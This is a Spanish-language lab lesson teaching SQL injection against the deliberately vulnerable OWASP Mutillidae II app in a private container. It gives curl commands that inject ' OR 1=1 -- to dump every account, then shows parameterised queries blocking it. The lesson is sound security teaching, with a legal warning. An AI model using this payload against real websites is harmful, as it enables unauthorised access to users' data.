¿Te resulta más fácil leer con fondo crema, un tono de color, más contraste o un texto más grande? Elige tus colores y tu texto una sola vez, para todas las páginas.

Lección gratuita

Fundamentos de Mutillidae

Aquí está la lección completa para leer. Crea una cuenta gratuita para practicarla en un laboratorio en vivo.

Laboratorio de contenedores8 min de lectura5 comandos

Qué vas a hacer

Una web pide información a una base de datos con una pregunta escrita en un lenguaje llamado SQL. Si la web pega lo que tú escribes directamente en esa pregunta, puedes cambiar la pregunta. Esto se llama inyección SQL y es uno de los fallos más habituales en las webs. Mutillidae es una web construida con ese fallo a propósito. Primero buscarás una cuenta. Después cambiarás el nombre para que la web te dé todas las cuentas. Por último subirás el nivel de seguridad y lo probarás otra vez.

La única regla

Advertencia

Este laboratorio ejecuta una web insegura a propósito. Ataca solo esa web. Es tu copia privada y no tiene salida a internet, así que no puede afectar a nadie. No pruebes nunca estas cosas en una web que no sea tuya: en el Reino Unido es un delito según la ley británica Computer Misuse Act de 1990.

Antes de empezar

Nota

Pulsa Iniciar el laboratorio en la barra superior de esta lección y espera a que diga que está en marcha. La web es el servicio llamado www, y el terminal llega a ella con ese nombre. En un navegador se abre desde el enlace OWASP Mutillidae II de la barra. Cada botón Ejecutar escribe su comando en el terminal de tu laboratorio, uno detrás de otro y en la misma sesión. Para verlos o para escribir los tuyos, pulsa Abrir el terminal (pestaña nueva) en la barra.

1. Entra y busca una cuenta

El primer comando entra como admin y guarda la sesión en un archivo llamado jar, igual que un navegador guarda una cookie. Imprime 302 y una dirección que termina en AU1: la web aceptó la entrada y te mandó a otra página. El segundo pide a la búsqueda de usuarios el nombre admin y solo imprime cuántos encontró: 1 records found.

Comando
curl -s -c jar -d "username=admin&password=adminpass&login-php-submit-button=Login" -o /dev/null -w "%{http_code} %{redirect_url}\n" "http://www/index.php?page=login.php"

Se muestra aquí y no se ejecuta. Crea una cuenta gratuita para pulsar Ejecutar y escribirlo en el terminal de tu propio laboratorio.

Comando
curl -s -b jar -c jar -G "http://www/index.php" --data-urlencode "page=user-info.php" --data-urlencode "username=admin" --data-urlencode "password=adminpass" --data-urlencode "user-info-php-submit-button=View Account Details" | grep -o "[0-9]* records found"

Se muestra aquí y no se ejecuta. Crea una cuenta gratuita para pulsar Ejecutar y escribirlo en el terminal de tu propio laboratorio.

2. Cambia la pregunta

Ahora el nombre es ' OR 1=1 -- . La comilla ' cerró la pregunta de la web antes de tiempo, OR 1=1 añadió una condición que siempre se cumple y -- hizo que la base de datos ignorara el resto. La web responde 40 records found: todas las cuentas de la web, cuando tú pedías una. La web se fio de lo que escribiste.

Comando
curl -s -b jar -c jar -G "http://www/index.php" --data-urlencode "page=user-info.php" --data-urlencode "username=' OR 1=1 -- " --data-urlencode "password=adminpass" --data-urlencode "user-info-php-submit-button=View Account Details" | grep -o "[0-9]* records found"

Se muestra aquí y no se ejecuta. Crea una cuenta gratuita para pulsar Ejecutar y escribirlo en el terminal de tu propio laboratorio.

3. Sube el nivel de seguridad y prueba otra vez

Toggle Security (en español, «cambiar la seguridad»), en el menú de la web, pasa el nivel de seguridad de 0 a 1 y luego a 5. Este comando lo pulsa dos veces, así que el nivel es 5, que la página imprime junto a su título. El segundo comando es exactamente la misma inyección del paso 2 y ahora la web responde 0 records found. En el nivel 5 la web envía tu texto por separado de la pregunta, de modo que solo puede ser un valor y nunca parte de la pregunta. Esto se llama consulta parametrizada y es como una web se defiende de este ataque.

Comando
curl -s -b jar -c jar -L -o /dev/null -o /dev/null "http://www/index.php?do=toggle-security&page=home.php" "http://www/index.php?do=toggle-security&page=home.php"

Se muestra aquí y no se ejecuta. Crea una cuenta gratuita para pulsar Ejecutar y escribirlo en el terminal de tu propio laboratorio.

Comando
curl -s -b jar -c jar -G "http://www/index.php" --data-urlencode "page=user-info.php" --data-urlencode "username=' OR 1=1 -- " --data-urlencode "password=adminpass" --data-urlencode "user-info-php-submit-button=View Account Details" | grep -o "[0-9]* records found"

Se muestra aquí y no se ejecuta. Crea una cuenta gratuita para pulsar Ejecutar y escribirlo en el terminal de tu propio laboratorio.

Para el profesorado

Consejo

Esta lección es un pequeño ejemplo de una lección practicada en un laboratorio: los pasos y los botones Ejecutar son la lección, y el laboratorio es la copia de cada alumno. Mutillidae tiene decenas de fallos más, desde cross-site scripting hasta inyección LDAP, así que el mismo laboratorio sirve para una unidad entera. Nada se corrige solo: pida una captura de pantalla de cada ejercicio y una frase sobre qué hizo mal el código. Cópiela en su propio módulo y modifíquela, o cree una desde cero con el menú Laboratorio del creador de lecciones.

Sobre este laboratorio y su código: Laboratorio de Mutillidae: practica inyección SQL y XSS en una aplicación web PHP vulnerable

¿Enseñas a una clase? Asigna estas lecciones a tus estudiantes con calificación y un laboratorio para cada uno.